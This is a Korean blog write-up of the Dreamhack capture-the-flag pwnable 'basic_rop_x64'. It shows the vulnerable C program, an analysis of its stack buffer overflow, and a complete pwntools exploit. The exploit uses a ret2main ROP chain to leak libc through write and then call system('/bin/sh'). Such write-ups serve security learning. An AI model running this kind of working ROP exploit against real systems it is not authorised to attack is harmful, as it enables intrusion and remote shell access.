[포너블] basic_rop_x64

Chris Kim·2024년 10월 18일

시스템해킹

목록 보기
15/33
post-thumbnail

1. 소스코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

2. 취약점 분석

2.1 보안 기법 확인


카나리는 없고, NX만 적용되어 있다.

2.2 소스코드 분석

(1) system 함수와 /bin/sh가 코드 내에 없다. 주소를 구해야한다.
(2) read 함수 실행에 페이로드를 입력해서 스택 버퍼 오버플로우를일으킬 수 있다. 이번에는 ret2main 기법을 활용할 것이다.

3. 익스플로잇

3.1 설계

최종 목표는 system("/bin/sh")을 실행하는 것이다.
익스플로잇 실행 시 예상 시나리오는 다음과 같다.
## 1. 실행
(1) read 함수에 페이로드 주입
(2) 버퍼오버플로우로 인한 rbp 이하의 스택 overwrite

## 2. write(0, read_got)
(3) pop rdi 수행
(4) pop rsi_r15 수행
(5) write plt 수행

## 3. system 함수, /bin/sh 위치 특정
(6) read 함수 주소를 통해 libc_base 산출
(7) 이어서 system 함수, /bin/sh 주소 산출
(8) ret main

## 4. 2번째 main
(9) 새로운 페이로드 주입(AAA...[pop rdi]["/bin/sh" 주소][ret system]

3.2 작성한 익스플로잇 코드는 다음과 같다.

#

from pwn import *

def slog(name, addr): return success(': '.join([name, hex(addr)]))
context.log_level="debug"

# p = process("./basic_rop_x64")
p = remote("host3.dreamhack.games",13180)
e = ELF("./basic_rop_x64")
r = ROP(e)
libc = ELF('libc.so.6')

read_plt = e.plt['read']
write_plt = e.plt['write']
read_got = e.got['read']
write_got = e.got['write']
pop_rdi = r.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi_r15 = r.find_gadget(['pop rsi', 'pop r15','ret'])[0]
main = 0x4007ba
sh = list(libc.search(b"/bin/sh"))[0]
############페이로드 ####################################################

##[1] 첫 번째 페이로드 작성: read_got 주소 출력

payload = b""
payload += b"A"*0x40 + b"B"*0x8
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)
payload += p64(main) ## main으로 돌아옴 write의 마지막이 ret이기 때문에 여기에 main 주소를 넣으면 됨

##[2] 페이로드 주입 및 read_got 주소 저장, system 함수 주소 산출

p.send(payload)
p.recvuntil(b"A"*0x40)
read = u64(p.recvn(6) + b'\x00'*2)
lib_base = read - libc.symbols['read']
system = lib_base + libc.symbols['system']
binsh = sh + lib_base
slog('read_got', read)
slog('lib_base', lib_base)
slog('system', system)
slog("/bin/sh", binsh)

###[3] main 시작으로 회귀. 새로운 페이로드 생성: system("/bin/sh")

payload = b"A"*0x40 + b"B"*0x8
payload += p64(pop_rdi) + p64(binsh)
payload += p64(system)

p.send(payload)
p.recvuntil(b"A"*0x40)
p.interactive()
profile
회계+IT=???

0개의 댓글